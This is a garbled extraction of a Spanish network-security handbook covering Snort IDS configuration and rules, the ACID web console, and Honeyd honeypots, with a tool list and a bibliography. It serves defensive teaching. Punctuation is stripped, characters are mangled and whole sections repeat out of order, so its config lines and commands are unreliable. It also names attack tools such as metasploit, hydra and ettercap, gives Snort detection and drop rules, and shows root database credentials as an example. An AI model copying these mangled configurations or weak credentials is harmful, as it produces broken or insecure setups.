acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
